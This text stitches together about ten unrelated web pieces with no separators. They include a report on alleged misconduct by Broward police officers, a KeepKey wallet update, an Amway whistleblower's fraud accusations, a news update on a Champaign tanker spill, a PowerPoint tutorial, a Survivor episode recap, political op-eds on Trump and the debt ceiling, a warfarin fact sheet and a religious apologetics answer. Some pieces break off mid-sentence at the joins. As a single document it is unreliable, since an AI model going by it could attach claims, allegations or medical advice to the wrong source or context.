In May 2012, Wells and Sousa allegedly laid into a black suspect on NW 13th Avenue. "Officer Wells struck [a suspect] with a closed fist to his head," the report reads. "Officer Sousa grabbed [suspect]'s leg and continued... by [striking suspect] with a closed fist to his upper right arm." Again, the review found "no apparent violations" of department policy.
Now that the scandal has broken, more accusations are turning up. The Broward chapter of the NAACP last month established a phone line for complaints about the four disgraced officers. At a news conference announcing the phone line, a Broward woman named Cassandra Jordan shared a story of her own run-in with these cops.
"I encountered Alvarez, Wells, and a couple more sergeants approaching my son, who is currently 16," she told reporters at the event. The officers were "using the N-word, breaking in my house without a search warrant. They took my daughter, they hit my daughter, they beat my daughter."
And the Broward Public Defender's Office is reviewing all 56 open and 126 closed cases involving the four police officers since January 2014.
Then there is the question of why other members of the department who knew about the racism — particularly the racist video clip — failed to report it to higher-ups. In the credits for his racist film trailer, Alvarez listed other officers as well. In addition to Wells, Sousa, and Holding, the names of Officers Pedro Cabrera and Vincent Schrider and Detectives Timothy Shields and John Graul appear.
The others all told investigators they disapproved of the video. But they didn't report the situation. Recently, the Citizen's Police Review Board, the outside body tasked with reviewing IA probes of officer misconduct, requested further IA review.
"The investigation lacked a lot of interest in the other officers who might have been involved and knew about it and did nothing," board member Marc Dickerman tells New Times. "Ultimately, it's up to the city manager, Lee Feldman, to decide whether to accept our recommendations to send it back to internal affairs."
One of the things they are likely to consider is the fired officers' backgrounds. Last year, while working for the department's Human Trafficking Unit, Graul ran an investigation in which police lured a suspect to seek illicit sex with a 16-year-old girl. "It became clear to me that this was a case of entrapment," Assistant State Attorney Dennis Nicewander later wrote in a close-out memo after deciding not to proceed with the case. Graul eventually told the state attorney his team became confused and focused the investigation on the wrong man. No discipline followed.
In 2004, Timothy Shields was investigated for exposure of sexual organs and battery. A woman told investigators the officer had pulled up to her house in his police car. While she leaned into the car and spoke with the officer, he allegedly exposed his penis and began to masturbate. The officer also allegedly grabbed her hand and forced her to touch his genitals. Prosecutors declined to press charges. Shields was later given a one-day suspension related to the incident.
Victims of the four officers have also started coming forward. Flower, for one, feels vindicated. Since her run-in with Wells and Sousa, she has maintained the racist cops planted the drugs. Despite offers of probation, she fought the charges until a judge finally threw out the case in December.
"I'm happy now that someone sees that what I was saying was the truth," she says.KeepKey, a hardware wallet that secures bitcoin, ethereum, litecoin, dogecoin, dash, and namecoin has announced some minor new features this week for version 4.3.5 of the updated KeepKey Wallet application. The main upgrade is a real-time security notification system which was added to the KeepKey Wallet application for Chrome.
Read about the new updates below:
Security notifications: KeepKey has implemented real-time notifications on the KeepKey Wallet app to notify users when something happens that might affect the use of KeepKey or the cryptocurrencies stored on it. For example, if there is an outage or a fork, KeepKey will notify users right away.
New feature popup: New features will now be announced on a screen that pops up while accounts load in the background. It displays the first time on running the KeepKey Client after it was updated.
About page: An ‘About KeepKey’ page was added so that it easy to find the company website, blog, and social media accounts.
Other under-the-hood improvements
These changes will automatically be distributed to users who installed the KeepKey plugin through the Chrome store.Collection opensource
My Purpose In Exposing The Truth About Merchants Of Deception
Despite your initial thoughts, this site is not an assault of Amway distributors. It is, to the contrary, an effort to stop the well-organized deception that is being perpetrated upon them. Please allow me to provide you with some background information on myself.
I was employed as a Federal auditor for the US Department of Energy. Following that I worked in management for a large insurance company. My wife and I were recruited by friends and quickly rose through the ranks and found ourselves in the top 1/25th of 1% of the multi-billion dollar Amway Corporation. For nearly a decade, we developed a “business” that expanded from North America to Europe, South America, and the Philippines. We spoke to thousands from stage and worked intimately with the Kingpin distributors through whom as much as 90% of Amway's $4-5 billion dollars in annual revenue flows. My wife and I spent personal time with the company's billionaire founder Rich DeVos.
To make a long story short, at the highest level, I inadvertently discovered what documentation now appears to reveal as two decades of systematic, global fraud running into sums far in excess of twenty billion dollars. When I initially discovered the deception, I naively thought it only involved Kingpin level distributors in the field. I immediately reported it to Amway senior management with nearly 50 pages of corroborating documentation.
Their response was more shocking than what I had discovered. Instead of taking action against the Kingpin level distributors that were clearly defrauding the masses, they began to make threats of taking punitive action against me. Fortunately, I had them do it all in writing. I had begun to make details of the deception known to other distributors, to whom I was accountable. They ultimately shut off my sole income in what appeared to be an effort to starve me into silence. This went on for almost a year. We lost our medical insurance and were forced into bankruptcy. Just when they knew we were about to lose our home, I was strongly “encouraged” to sell “my business” to a member of my upline for approximately $75,000. At the same time, my sponsor was attempting to pressure me to sign a legal agreement to never speak publicly of our experience. Neither our silence nor or character were for sale and we walked away from the offer(s).
I knew, from being an auditor, that without solid documentation I would be crushed by this powerful, wealthy, politically well connected organization. I spent literally thousands of hours in research, culling documentation from global sources as this deception has spread like cancer to over 80 countries and territories. In its wake are countless bankruptcies, foreclosures and broken marriages all happening under the guise of “free Enterprise”. I secured a cache of well over 1,000 hours of legally recorded tapes and videos. Internal Amway documents surfaced revealing that the Billionaire founder, Rich DeVos, has been aware of these illegal activities for well over twenty years. All this documentation was put together in a compelling, meticulously documented book 296 page book I wrote titled Merchants of Deception. It was written specifically to be a road map for regulators and prosecutors worldwide.
This book was used to initiate the current, active FBI investigation. It is also is the resource utilized when I initiated the recent NBC Dateline expose. In a few days with undercover cameras, the crack team of reporters at NBC were able to document in real time the fraud that has been perpetuated for twenty years as documented in Merchants of Deception. The book documents that Amway's billionaire founder and senior management not only were aware of two decades of systematic fraud, but that they aided, abetted and financially rewarded the most egregious offenders. This statement is supported by almost 20 safety deposit boxes of documentation, including financials and confidential internal documents, the most critical of which has been turned over to the FBI. Merchants of Deception reveals the methodology, manner and global scope of the fraud. It also details long term, intentional, systematic violations of FTC regulations. The FBI, the Criminal Investigation Division of the IRS and foreign governments and/or counter cult organizations are all utilizing this book as a resource.
The question you must be asking yourself is, “If this could possibly be true, how could it have gone on this long?” The answer is one I wish I did not have to share with you. As a life long conservative, I am disheartened at what I discovered and documented regarding the political party I have voted for my entire adult life. I am embarrassed to reveal that the principals in the above scheme have donated over the years, as much as $4,000,000 annually either directly to the Republican Party, Senators, PAC’s or 527 organizations that support them. The FTC has refused to take action despite having the very same documentation you can download for free below. The FTC has been petitioned by myself, at least one credible fraud expert and the former US Assistant Attorney for the State of Wisconsin (who prosecuted Amway) for over four years. Sadly, it appears the millions in annual donations have functioned well as regulatory protection money, but that is my opinion based upon the documentation and my personal interaction with the FTC.
Far too many people are being hurt. I was used as an unknowing dupe to take millions of dollars from good, honorable people and cannot simply walk away and let this persist. I wish I could. As you turn each page,you will learn the terrifying details of the journey several of us have traveled, for years, in an effort to expose the truth. As you read this, the perpetrators of this scheme most certainly are amassing a legion of attorneys to descend upon me. This experience has already taken all my assets so there is little else they can do to punish me, at least financially. However, they will most likely succeed in getting an injunction to at least temporarily shut this site down. If you have an interest, download the book immediately and feel free to mirror this site. Someone had to “step in front of the bus” or it was never going to stop. This is my leap of faith.
I encourage you to read Merchants of Deception, review the supporting documentation (including pro-Amway and pro-Quixtar information), and form your own opinion.
Best Regards,
Eric Scheibeler
http://www.transgallaxys.com/~emerald/purpose.html
Identifier MerchantsOfDeception Identifier-ark ark:/13960/t86h5dx2z Ocr ABBYY FineReader 8.0 Pages 318 Ppi 300Photo by: John Dixon/The News-Gazette The Champaign Fire Department Hazmat Response Team passes an Illinois State trooper on Interstate 57, north of Interstate 72 after a tanker truck carrying hazardous chemicals overturned in the northbound lane of Interstate 57 closing the highway in both directions on Sunday, Feb. 1, 2015. Image
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New 11:30 p.m. Sunday:
CHAMPAIGN — Area public-works crews spent much of Sunday clearing streets and highways of slushy snow while emergency personnel helped evacuate about 60 people after a crash involving hazardous materials left a portion of Interstate 57 closed for much of the day.
While Champaign-Urbana didn't get the accumulation of snow that some had forecast, the precipitation the area received did have quite an effect.
Illinois State Climatologist Jim Angel said Champaign received about 2 inches of snow through Sunday morning and 21/2 inches overall.
"We had 0.46 inches in the rain gauges, but some of that was snow," Angel said. "It wasn't quite as much as was expected. We didn't have a lot of snow accumulation, but that's OK if you don't like snow."
Angel said the 34-degree temperatures caused some snow to melt as other snow fell.
"The stuff we ended up with is pretty slushy," he said.
Meanwhile, Champaign Fire Marshall John Koller said about 60 people were evacuated as a precaution to First Christian Church on Windsor Road in the wake of a rollover crash Sunday morning on Interstate 57. Emergency personnel went door-to-door to assist with the evacuation.
Affected areas included the 3300 to 3400 blocks of Katie Lynn Drive, Edward Hoffman Drive and Florence Drive and the 800 to 900 blocks of Erin Drive.
According to Illinois State Trooper Tracy Lillard, the accident took place in the northbound lanes of I-57 just north of the I-72 interchange at 7:02 a.m. Sunday.
Derrick Williams, 33, who listed an address in Baton Rouge, La., was driving a truck pulling a tanker trailer north and was changing from the right to left lane when he lost control of the vehicle.
The tanker came loose from the truck and turned on its side.
Lillard said the tanker then slid to the center median while the truck spun into the right ditch, coming to rest upright.
Police said the tanker was loaded with Dimethylaminopropylamine, a substance typically used to make shampoo.
No injuries were reported, but Williams was ticketed for driving too fast for conditions and for failure to reduce speed to avoid an accident.
Northbound traffic was directed off I-57 at the University Avenue exit, but cars and trucks were backed up for 2 miles south of that location as late as 2 p.m. Sunday.
Southbound traffic was directed off I-57 at the Olympian Drive exit.
Both closures were expected to continue through most of the day.
Meanwhile, work crews spent the day cleaning the spill.
Kris Koester, administrative services supervisor for Champaign public works, said some crews were diverted from snow removal to assist at the scene.
"We took some dirt out there to fill up inlets to prevent contamination from leaks, and we put up signals to guide people around the detour," Koester said late Sunday afternoon.
Koester said 26 public-works employees were on the job Sunday afternoon clearing snow from Champaign streets. Another 23 workers were set to take their place at 11:30 p.m. Sunday.
"We plan on getting the primary routes cleared and then work on the streets overnight," he said. "When people get up in the morning, things are going to look pretty good."
Urbana Public Works Operations Manager John Collins said that 13 people began plowing work at noon Sunday, with a second crew of 14 set to take their places at midnight.
"We had the primary routes and business district cleaned up by 4:30 p.m. Sunday," he said. "We intend to spend the night hours working on the residential routes. We are keeping the snow loose, and it is flying off the roads pretty good."
Tracy Wingler of the Champaign County Highway Department said eight workers began salting county roads at 3 a.m. Sunday and switched to plowing later in the day.
"On Sunday afternoon, we treated the intersections and curbs," he said. "The snow that we have in place on Sunday afternoon is not going to move, but if we get new snow and the winds pick up, that could be a problem."
----
New 9:20 pm Sunday:
The Champaign Fire Department reports that evacuated residents can return, but the interstate will remain closed for now.
New 6 p.m. Sunday:
The Champaign fire department reports that crews have begun removing the spilled product from the accident site.
We interrupt your football game: officials says the spill cleanup on I-57 west of #Chambana is still in progress. Continue to avoid the area — NewsTalk 1400 WDWS (@wdws1400) February 2, 2015
Update on I-57: Offloading is complete and now the effort will be to lift the trailer. — Champaign Fire Dept. (@ChampaignFire) February 2, 2015
New 11:50 a.m. Sunday:
The Champaign Fire Department reports that homes in the area are being evacuated due to the spill.
Forecasting shows the winds will be picking up. Champaign Fire has ordered a partial evacuation of Summer Sage Ct. Fire will go door-door — Champaign Fire Dept. (@ChampaignFire) February 1, 2015
Partial evacuation involves 30 units and approximately 60 people. First Christian Church on Curtis Rd is accepting evacuees. — Champaign Fire Dept. (@ChampaignFire) February 1, 2015
Based on weather reports there will be a mandatory evacuation of the 3300-3400 blocks of Katie Lynn, Edward Hoffman and Florence at 3 pm — Champaign Fire Dept. (@ChampaignFire) February 1, 2015
Also mandatory evacuations of the 800 and 900 blocks of Erin. Winds will be shifting out the NW at 6 pm with over 20 mph sustained winds. — Champaign Fire Dept. (@ChampaignFire) February 1, 2015
New 11:25 a.m. Sunday:
State police say a portion of Interstate 57 west of Champaign will be closed for most of Sunday as crews clean up an accident that led to a hazardous spill.
Crews are re-routing northbound traffic at Interstate 72 and southbound traffic at Olympian Drive. Bradley Avenue is also closed at I-57. This is all due to a tanker that went off the road Sunday morning, spilling a product that's used in cosmetic items.
Champaign Fire Department Deputy Chief John Barker said several departments are cleaning up the spill.
Officials said they have a plan in place if residents in the area need to be evacuated.
**
Original story:
Illinois State Police are on the scene of a jack-knifed tanker truck on Interstate 57 at milepost 235 1/2, near the Interstate 72 interchange and Bradley Avenue overpass. The tanker is carrying hazardous material in the trailer. As a result, I-57 is closed in both directions between I-72 and I-74.
Northbound traffic is being re-routed at I-72. Southbound traffic is being re-routed at I-74.
Bradley Avenue is closed near the I-57 overpass. Traffic is also being re-routed.
State police say the interstate will be closed for several hours.
Police urge drivers to use caution and to find an alternate route.If you’ve ever wanted to spice up the pictures in your presentations, a clever PowerPoint trick for doing so is to create the “out of bounds” effect or 3D pop-out picture effect, which you can pull off directly within PowerPoint (no Photoshop required). That’s right, you can create all of the 3D “out of bounds” picture effects below directly in Microsoft PowerPoint (versions 2010 and later) using some simple background removal techniques and cropping features…you don’t need to use Photoshop.
3D Effect Overview
The overall process for creating a 3D picture effect can be broken down into three straightforward steps in PowerPoint: Find a good picture to create the 3D effect with Frame your picture in PowerPoint Create the 3D effect Below is both a video tutorial and a written version of the tutorial that explains these steps in PowerPoint in detail – choose the format you prefer! You can also download the working files here and follow along with me.
3D pictures video demo
Download the working files here.
Part 1: Find a good picture
When creating 3D pictures in PowerPoint, you want to start with good pictures and make sure that the parts that you want to pop-out (the 3D effect) meets two specific criteria. Picture Criteria #1: High contrast You want to make sure that your object stands out starkly from its background, as opposed to blending in with its background. For example, the top of the below apple has good contrast (and is great for the 3D effect), whereas the bottom of the apple with the shadow does not, as it blends in with the desk.
Picture Criteria #2: Completeness You want to make sure that your object is complete and not cut off. For example, in the below picture of the couple, the right-side of the photo is good for creating the 3D picture pop-out effect (as everything on that side of the photo is whole and complete) whereas the left-side of the photo is not good for this effect, as the photo is cut off.
Note: Your picture doesn’t have to be perfect. Keep in mind that only the object within your photo that you want to create the 3D pop-out effect for needs to meet the above criteria. The picture itself doesn’t need to be perfect.
Part 2: Frame your picture
Step #1: Duplicate Your Picture With your picture selected in PowerPoint, Copy and Paste the image to make a copy (or hit CTRL + D on your keyboard for PC users) and move it off to the right-side of the screen. We will use this copy in part 3 of this tutorial.
Step #2: Add a Border to Your Picture Select the original picture in the center of your slide and from the Picture Tools Format tab select the Simple White Frame on the far left of the picture styles to make the image look more like a photo.
Step #3: Crop Your Picture into the Shape of a Trapezoid With the picture frame applied (and the image still selected) open up the bottom portion of the Crop menu, select Crop to Shape and within the Shapes Gallery, select the trapezoid shape.
The result is your picture is cut into that specific shape. As a side note, you can use this Cut to Shape technique to cut any of your pictures into any of the PowerPoint shapes for your presentations.
Step #4: Adjust The Trapezoid Angle With the picture cut into a trapezoid, adjust the angle of the trapezoid so that you can see the entirety of the shape that you want to have pop-out of your picture (creating the 3D effect). To adjust the angle of the trapezoid, select the yellow diamond at the top of the shape with your mouse and adjust it manually to fit your picture.
Step #5: Crop Your Picture Down With the trapezoid angle set, hit the top portion of the Crop command (adds black dashed lines around your picture) and pull down the black lines (the center black line in this case) that frame your photo so that most of your image is cropped out (this will make sense in a moment). For this image of an apple, I’ve cropped it just below where it will be popping out (in the next step).
Note: You can play around with how much of the photo you want to crop out depending on how much you want the image to pop out in your 3D effect. You can also manually adjust this later, so don’t stress out on this cropping step.
Part 3: Create your 3D effect
With the first picture all set up and cropped, now we’ll use the duplicate image we created in Part 2 Step #1 to create the 3D picture effect. Step #1: Remove the Background from Your Second Picture Select the second, duplicated picture (I’ve moved it back into the center of my slide) and from the Picture Tools Format tab, on the far left, select Remove Background.
Note: The Remove Background feature is not available in PowerPoint 2007 and earlier versions. If you have an earlier version of PowerPoint, you can use the Paint program (pre-installed and free on most computers) to remove the background.
Next, make adjustments to your photo using Mark Areas to Keep and Mark Areas to Remove commands in your Ribbon, until you have the entirety of your picture framed and the background that you want to remove in pink (see below image).
Removing the background from an image can take some time, depending on your photo and how precise you’d like to be. When you are finished, |
WE’VE barely begun the current season of Australian Survivor, but viewers are about to be treated to something you just don’t see enough of on Aussie TV: A nude wrestling match.
In tonight’s episode, the two tribes — Asaga and Samatu — go head to head in a reward challenge, competing to win a simple tool that’ll make life much easier on the island.
One member from each tribe had to get themselves wet then tear down a slip-and-slide, trying to grab a ball at the end of the track. The first contestant to grab hold of the ball and bring it to their team’s square on the course would win a point.
Two of this season’s most physically impressive competitors, 195cm tall mountaineer Locky and former SAS commander Mark, are paired off to compete against each other.
As they careen down the slip-and-slide — Locky clad only in his jocks — Mark reaches for his competitor’s sole item of clothing in an attempt to hold him back. All at once, off come the undies.
“Locky gets there first! He loses his shorts! It’s now X-rated! Locky’s completely naked!” shouts host Jonathan LaPaglia.
The poor Ten censor certainly earns their pay in this scene, struggling to keep up with a very large man squirming his naked frame this way and that:
As the ugly wrestling match continues, Locky’s team mates go through a variety of emotions at the sight of their fellow competitor in his birthday suit:
In the end, Locky wins — thank god — and his team mates rushed to congratulate him. None seem to be in that much of a hurry to fetch him his underpants, though.
As Locky lies in the sand exhusated, LaPaglia has the final word: “Nice cheeks.”
Check out a preview of the challenge below - WARNING - CONTAINS LOTS AND LOTS OF BUTT.
See Locky’s Nudie Run when Australian Survivor 7:30pm tonight on Ten.Essentially, the media, who are not on good terms with the American president, have seized on many an opportunity to label his trip disastrous.
The idea that Donald Trump set out on his first foreign sojourn with a distinct goal in mind might seem hard to imagine based not only on what has been reported throughout his trip but simply on his record in Washington since becoming President in January. It is no secret that his work has been far from successful at home. His top agenda items – the ban on visitors from several Muslim-majority countries, and the repeal and eventual replacement of the Affordable Care Act – have both failed, with his “Muslim ban” facing its most recent rebuke this week at the hands of the US Fourth Circuit Court of Appeals. With Trump off of American soil for more than a week, the assessment of his time spent on the ground in Washington has not improved, of course. But many had hoped that his trip abroad would at least restore some sense of direction for his fledgling Presidency and shore up his international credentials. What has played out has been far from that, thanks in large part to a divergence of views between Trump, the international media, and the governments he has met with.
His initial embrace with Emmanuel Macron, dubbed a “white-knuckled handshake”, during a meeting at the US Embassy in Brussels, was transmitted around the globe, and a partisan divide emerged between those who believe the American won and those who believe the Frenchman took the cake.
Regardless of this frenzy, and the similar uproar surrounding Trump’s speech at the new NATO headquarters in Haren, Brussels, critics have ignored the main thrust of Trump’s intentions on his trip.
Trump does not have the same set of priorities that other world leaders have.
John Boehner, himself not Trump’s biggest fan, seemed to agree that despite troubles at home, Trump has stood up for his base’s goals abroad. He reiterated over and over, from Riyadh to Bethlehem to Brussels, his focus on fighting terrorism and on making others pay their fair share in the global battle.
When his interests align, he does well with foreign leaders, such as his rendezvous with Prime Minister Theresa May in late January – she needs the US for economic cooperation on a free trade agreement post-Brexit, and he needs her to grant him foreign policy credentials. In most other instances, he has appeared agitated, and this has shown on his trip since he has disagreements with most of the individuals he met over the past week. In Saudi Arabia, he met 55 Arab leaders and was not afraid to state loudly that they had a responsibility to fight Islamic extremism at home. Beyond agreeing to not refer to terrorism by Muslims as Islamic terrorism and to not attack Saudi Arabia (in favor instead of attacking Iran), Trump has been hesitant to go too far in bending to the wishes of foreign leaders. On the contrary, he has been insistent on stating his demands over the course of his foray abroad and has done much of what he said he would do to his supporters during and after the campaign.He called out NATO members for not reaching the stipulated 2% minimum of contributions to the budget, in what may well have been the most awkward moment of his Presidency thus far, and went on to painfully mention that he would not ask his fellow leaders to tell him how much the new headquarters cost – as though he were a father telling his children he did not care how much their present cost, but that they should be very grateful they have it. Likewise, he returned to his domestic immigration theme, but with an international twist, lamenting the increase in immigration in Europe and directly tying it to terrorism. This was in keeping with the theme of his trip, that of terrorism and whatever leads to it, be it the radicalisation he referred to in Riyadh or infiltration by jihadist groups, as he was alluding to at Haren. No doubt the attack in Manchester helped strengthen Trump’s mood of certitude regarding the urgency of the threat. Trump’s theme was repeated with Monsieur Macron in the Brussels meeting the two had when he first surprised quite a many people by declaring he had actually been rooting for Marine Le Pen’s victor. He then made sure to mention that one of his priorities for cooperation with Macron would, in fact, be defeating terrorism. Trump’s goals for the trip appear to be clear, then. He did not intend to soothe relations with his NATO allies, nor did he intend on ending them with the Arab world. He was intent on sending a message clearly to his counterparts in the Arab world that he is focused on terrorism that seems to stem from there - and in Europe, that they should recognize the threat, where it comes from, and that they should follow his lead in fighting it, Trump-style. Whether that message has been received warmly in the capitals of Europe is another matter indeed.The spenders are negotiating among themselves how much debt they’re going to burden you with.
There is something surreal and unnerving about the so-called “debt ceiling” negotiations staggering on in Washington. In the real world, negotiations on an increase in one’s debt limit are conducted between the borrower and the lender. Only in Washington is a debt increase negotiated between two groups of borrowers.
Actually, it’s more accurate to call them two groups of spenders. On the one side are Obama and the Democrats, who in a negotiation supposedly intended to reduce American indebtedness are (surprise!) proposing massive increasing in spending (an extra $33 billion for Pell Grants, for example). The Democrat position is: You guys always complain that we spend spend spend like there’s (what’s the phrase again?) no tomorrow, so be grateful that we’re now proposing to spend spend spend spend like there’s no this evening.
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#ad# On the other side are the Republicans, who are the closest anybody gets to representing, albeit somewhat tentatively and less than fullthroatedly, the actual borrowers — that’s to say, you and your children and grandchildren. But in essence the spenders are negotiating among themselves how much debt they’re going to burden you with. It’s like you and your missus announcing you’ve set your new credit limit at $1.3 million, and then telling the bank to send demands for repayment to Mr. and Mrs. Smith’s kindergartner next door.
Nothing good is going to come from these ludicrously protracted negotiations over laughably meaningless accounting sleights-of-hand scheduled to kick in circa 2020. All the charade does is confirm to prudent analysts around the world that the depraved ruling class of the United States cannot self-correct, and, indeed, has no desire to.
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When the 44th president took office, he made a decision that it was time for the already unsustainable levels of government spending finally to break the bounds of reality and frolic and gambol in the magical fairy kingdom of Spendaholica: This year, the federal government borrows 43 cents of every dollar it spends, a ratio that is unprecedented. Barack Obama would like this to be, as they say, “the new normal” — at least until that 43 cents creeps up a nickel or so, and the United States government is spending twice as much as it takes in, year in, year out, now and forever. If the Republicans refuse to go along with that, well, then the negotiations will collapse and, as he told Scott Pelley on CBS the other night, Gran’ma gets it. That monthly Social Security check? Fuhgeddabouddit. “I cannot guarantee that those checks go out on August 3rd if we haven’t resolved this issue,” declared the president. “Because there may simply not be the money in the coffers to do it.”
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But hang on. I thought the Social Security checks came out of the famous “Social Security trust fund,” whose “trustees” assure us there’s currently $2.6 trillion in there. Which should be enough for the August 3rd check run, shouldn’t it? Golly, to listen to the president, you’d almost get the impression that, by the time you saw the padlock off the old Social Security lockbox, there’s nothing in there but a yellowing IOU and a couple of moths. Indeed, to listen to Obama, one might easily conclude that the whole rotten, stinking edifice of federal government is an accounting trick. And that can’t possibly be so, can it?
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For the Most Gifted Orator in Human History, the president these days speaks largely in clichés, most of which he doesn’t seem to be quite on top of. “Eric, don’t call my bluff,” he sternly reprimanded the GOP’s Eric Cantor. Usually, if you’re bluffing, the trick is not to announce it upfront. But, in fact, in his threat to have Granny eating dog food by Labor Day, Obama was calling his own bluff. The giant bluff against the future that is government spending.
How many of “the wealthy” do you require to cover a one-and-a-half trillion-dollar shortfall every single year? When you need this big a fix, there aren’t enough people to stick it to. “We are not broke,” insists Van Jones, Obama’s former “green jobs” czar and bespoke Communist. “We were robbed, we were robbed. And somebody has our money!”
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The somebody who has our money is the government. They waste it on self-aggrandizing ideologue nitwits like Van Jones and his “green jobs” racket. How’s the “green jobs” scene in your town? Going gangbusters, is it? Every day these guys burn through so much that they can never bridge the gap. By that, I don’t mean that an American government that raises $2 trillion but spends $4 trillion has outspent America, but that it’s outspent the planet. In my soon to be imminently forthcoming book, I discuss a study published last year by John Kitchen of the U.S. Treasury and Menzie Chinn of the University of Wisconsin. Its very title is a testament to where we’re headed:
“Financing U.S. Debt: Is There Enough Money In The World — And At What Cost?”
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#page#
The authors’ answer is yes, technically, there is enough money in the world — in the sense that, on current projections, by 2020 all it will take to finance the government of the United States is for the rest of the planet to be willing to sink 19 percent of its GDP into U.S. Treasury debt. Which Kitchen and Chinn say is technically doable. Yeah. In the same sense that me dating Scarlett Johansson is technically doable.
Unfortunately, neither Scarlett nor the rest of the planet is willing to do it. It’s not 2020 and we’re not yet asking the rest of the planet for a fifth of its GDP. But already the world is imposing its own debt ceiling. Most of the debt issued by the Treasury so far this year has been borrowed from the Federal Reserve. That adds another absurd wrinkle to the D.C. charade: Washington is negotiating with itself over how much money to lend itself.
#ad# Meanwhile, the World’s Greatest Orator bemoans the “intransigence” of Republicans. Okay, what’s your plan? Give us one actual program you’re willing to cut, right now. Oh, don’t worry, says Barack Obluffer. To demonstrate how serious he is, he’s offered to put on the table for fiscal year 2012 spending cuts of (stand well back now) $2 billion. That would be a lot in, say, Iceland or even Australia. Once upon a time it would have been a lot even in Washington. But today $2 billion is what the Brokest Nation in History borrows every ten hours. In other words, in less time than he spends sitting across the table negotiating his $2 billion cut, he’s already borrowed it all back. A negotiation with Obama is literally not worth the time.
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In order to fund Obamacare and the other opiates of Big Government dependency, the feds need to take 25 percent of GDP, now and forever: The “new normal.” It can’t be done. Look around you. The new normal’s already here: flatline jobs market, negative equity, the dead-parrot economy. What comes next will be profoundly abnormal. His name was Obamandias, King of Kings. Look upon his works, ye mighty, and despair. Round the decay of that colossal wreck, boundless and bare, the lone and level sands stretch far away.
Do they still teach Shelley in high school? Or just the “diversity manual” about “social justice” the Omaha Public Schools paid for with $130,000 of “stimulus” funding?
— Mark Steyn, a National Review columnist, is author of America Alone. © 2011 Mark Steyn.Warfarin is an anticoagulant drug that is also known under the brand names of Coumadin, Jantoven, Marevan, Lawarin and Waran.
Initially marketed as a pesticide for rodents, it was soon found to have beneficial qualities in the prevention of thrombosis and embolism. It has been approved for medical use for over fifty years and continues to be a commonly used anticoagulant drug throughout the world today.
Pharmacology
Warfarin works to decrease blood coagulation and, therefore, lower risk thrombosis and embolism, by inhibition of the enzyme that is responsible for the oxidation of vitamin K in the liver.
Vitamin K is important for the normal process of coagulation, which is why warfarin affects the process of blood clotting and reduces the risk of thrombosis.
Benefits and Risks
When making the therapeutic decision as to whether warfarin is the justified, it is prudent to consider both the benefits of risks of taking the medication.
The primary benefit of warfarin is the reduced clotting factors and related decreased risk of thrombosis. The value of this benefit varies according to the likelihood of the patient to suffer from this condition and the severity if it does occur. People with a family history of deep venous thrombosis, for example, may benefit more from the use of warfarin, as well as those that have concurrent medical conditions, such as heart disease or a previous stroke.
This benefit must then be weighed up against the risks that warfarin may pose to the patient. The most important consideration is increased risk of bleeding, due to the way the medication works. As a result, patients taking warfarin may notice that they bruise more easily and any cuts usually take longer to stop bleeding. If the individual is likely to suffer from bleeds, such as an elderly person that falls regularly, the risk of taking warfarin is greater.
Side Effects
The side effects of warfarin may include:
Abdominal pain
Bloating
Chills
Fever
Gastrointestinal bleeding
Headache
Long nosebleeds
Nausea and vomiting
Taste changes
Drug Interactions
Warfarin is well known for the vast number of medications with which it interacts, as it exerts its effect in the liver where most drugs are metabolized.
It is wise to double-check the medication history of any patient that may be advised to begin therapy with warfarin, including over the counter products. Some herbal medications, such as St. John’s Wort can also change the concentration of vitamin K in the blood and have a dramatic effect on bleeding and coagulation.
Additionally, some food sources can interact with warfarin, such as grapefruit and cranberry juice. Foods high in vitamin K like spinach can also affect clotting factors and the effect of warfarin.
Patient Advice
When a patient begins taking warfarin therapy, it is important that they receive the appropriate communication about the effects of this drug.
Warfarin should be taken orally once a day at the same time, although it with or without food does not make a difference. It is important that the brand of warfarin chosen to take remains the same as the effect of different brands may vary slightly. If a dose is missed, it should be taken as soon as the patient remembers, although two doses should never be taken together if not realized until the next day.
Frequent blood tests will be required, especially at the commencement of therapy to determine the correct dose of warfarin. The international normalized ratio (INR) is used to quantify clotting factors and the efficacy of the dose.
Patients should be advised to continue eating a normal, healthy diet. Although some foods do affect the efficacy of warfarin, if patients eat a consistent diet each week the dose will be adjusted to the patient’s diet. Unusually high quantities of green leafy vegetables or grapefruit may change the how well warfarin works.
References
Further ReadingDo Christians use circular reasoning when they presuppose that God exists? Is circular reasoning a logical fallacy? Darius and Karin Viet explain.
Hi AiG, My question is regarding presuppositional apologetics. I’ve read the article at this link http://www.answersingenesis.org/articles/am/v2/n4/presuppositional-apologetics and I whole heartedly agree with what it teaches. I know that I’m not a strong debater and so I need to anchor myself to God’s word to have a hope at defending our faith. However, in a recent discussion with a non-Christian, where I was using presuppositional apologetics, I was accused of using circular reasoning to argue my case. He claims that it is invalid to assume God exists to argue that God exists. On the surface, this seems to make sense. But I still firmly believe that it’s valid to presuppose that God exists. How should I respond to his claims that my arguments are invalid due to circular reasoning? Btw: Thank you. Your ministry has greatly encouraged and strengthened my faith. God bless you. V.
V.,
We agree that presuppositional apologetics is the ultimate biblical approach to apologetics. The common accusation that the presuppositionalist uses circular reasoning is actually true. In fact, everyone uses some degree of circular reasoning when defending his ultimate standard (though not everyone realizes this fact). Yet if used properly, this use of circular reasoning is not arbitrary and, therefore, not fallacious.
Contrary to what your non-Christian friend said, circular reasoning is surprisingly a valid argument. The conclusion does follow from the premises. Circular reasoning is a logical fallacy only when it is arbitrary, proving nothing beyond what it assumes.
However, not all circular reasoning is fallacious. Certain standards must be assumed. Dr. Jason Lisle gave this example of a non-arbitrary use of circular reasoning:
Without laws of logic, we could not make an argument. We can make an argument. Therefore, there must be laws of logic.1
While this argument is circular, it is a non-fallacious use of circular reasoning. Since we couldn’t prove anything apart from the laws of logic, we must presuppose the laws of logic even to prove they exist. In fact, if someone were trying to disprove that laws of logic exist, he’d have to use the laws of logic in his attempt, thereby refuting himself. Your non-Christian friend must agree there are certain standards that can be proven with circular reasoning.
Your basic presupposition—God exists and has revealed Himself in His inerrant, authoritative Word—is the ultimate standard. Presupposing God exists to argue that God exists is a reasonable circular argument because without the God of the Bible, we have no basis for assuming the laws of logic and their properties, let alone absolute morality or the uniformity of nature.
Your basic presupposition—God exists and has revealed Himself in His inerrant, authoritative Word—is the ultimate standard.
We’ve already established how the laws of logic must exist or else we wouldn’t have reason to debate. But a natural universe consisting of strictly matter in motion would not contain abstract laws of logic, and proving anything would be impossible.2 These laws do obviously exist because the biblical God exists, and the laws of logic stem from His nature—He is unchanging, universal, and immaterial.3
